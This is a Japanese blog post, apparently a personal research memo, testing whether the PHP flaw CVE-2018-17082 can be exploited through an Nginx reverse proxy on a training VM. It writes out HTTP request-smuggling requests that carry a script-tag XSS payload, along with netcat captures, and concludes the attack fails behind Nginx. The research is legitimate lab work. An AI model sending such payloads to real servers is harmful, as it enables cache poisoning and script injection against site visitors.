LoginSignup
8
3

More than 1 year has passed since last update.

Nginx経由でCVE-2018-17082脆弱性を攻撃する手法に関する個人的なメモ

Last updated at Posted at 2020-06-06

以下は、特に公表を目的としない個人的な備忘録であるが、公開のメモであるので、もちろん指摘やコメントなどは歓迎する。
PHPの脆弱性 CVE-2018-17082 についてYouTube動画を制作するために、この脆弱性についてあらためて調べているが、Nginxをキャッシュサーバーにしている(リバースPROXYとしてNginxを使っている)場合の挙動についてきちんと調べていなかったので調べ直した。主に以下の記事に関係する。

PHPの脆弱性 CVE-2018-17082 によるキャッシュ汚染についての注意喚起

ブラウザ <--> リバースプロキシ(Nginx) <--> Apache2 + PHP という構成を前提としている

今までの調査で、Nginxが挟まっている場合攻撃が刺さらないことは判明しているが、なぜ刺さらないかを追っかけきれていなかった。

NginxとApacheの間の通信をキャプチャするには、tcpdumpを使うのが一般的だろうが、ちょっと面倒くさいなと思っていたところ、Apacheのリクエストを調べるだけならApacheの代わりにNetcatを使えば簡単じゃねと思いたち、さっそくやってみた。
徳丸本VMではApacheは88ポートで動いているので、以下のコマンドでApacheを停止してNetcatで88ポートで待ち受ける。

$ sudo systemctl stop apache2
$ sudo nc -l -p 88

この状態で、Nginxに以下のリクエストを送信する。

GET http://example.jp/31/31-001.php HTTP/1.1
User-Agent: Mozilla/5.0
Content-Length: 44
Transfer-Encoding: chunked
Host: example.jp

5 <script>alert('Hacked')</script>
ABCDE
0

Content-LengthヘッダとTransfer-Encodingヘッダを重ね打ちするのが、HTTP Request Smuggling(HRS)の攻撃手法である(参考動画)。ちなみに、チャンク長5の後の文字列はRFC 7230ではChunk Extensionsという扱いになると思う(参考: Chunk Extensions)。
だが、Netcat側の表示は下記となる。

$ sudo nc -l -p 88
GET /31/31-001.php HTTP/1.1
Host: example.jp
X-Real-IP: 192.168.56.1
X-Remote-Addr: 192.168.56.1
X-Forwarded-For: 192.168.56.1
Connection: close
Content-Length: 5
User-Agent: Mozilla/5.0

ABCDE$

NginxはHTTPリクエストのContent-Lengthヘッダを無視し(これはRFC的に正しい挙動)て、Transfer-Encoding: chunkedを正しく解釈しているが、ApacheへのリクエストはContent-Length形式に変更している。リクエストの意味は同じなので、これでよいわけだ。
では、Transfer-Encoding: chunkedなリクエストを送信するにはどうすればよいか調べてみると、Nginxの設定として以下を指定すればよいことがわかった。

proxy_request_buffering off;
proxy_http_version 1.1;

参考: Module ngx_http_proxy_module

これを指定して同じHTTPリクエストを投げるが、挙動はまったく変わらない。そうか、Nginxはリクエストをすべて受け取り終わっているから、Transfer-Encoding: chunked形式を使う必要がないのだ。
それでは、というわけで、途中までHTTPリクエストをNginxに投げてみる(読者むけ注記: ここからがハイライトです)。

GET http://example.jp/31/31-001.php HTTP/1.1
User-Agent: Mozilla/5.0
Content-Length: 41
Transfer-Encoding: chunked
Host: example.jp

5 <script>alert('Hacked')</script>
ABCDE

すると、目論見通り、Chunked Encodigが終端されていないので、NginxはApacheにChunked Encodingのリクエストを投げる

$ sudo nc -l -p 88
GET /31/31-001.php HTTP/1.1
Host: example.jp
X-Real-IP: 192.168.56.1
X-Remote-Addr: 192.168.56.1
X-Forwarded-For: 192.168.56.1
Connection: close
Transfer-Encoding: chunked
User-Agent: Mozilla/5.0

5
ABCDE

だが、二重の意味で攻撃には至らないことが分かった。

  • Content-Lengthが削除される(RFC的には正しい挙動)
  • チャンク長の後のscriptタグ(Chunk Extensions)が削除される

攻撃のためには、どちらも欠かせないのだが、両方消されてしまうので、Nginx経由での攻撃は見込みがないと判断した(あっけないエンディング)。

8
3
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
8
3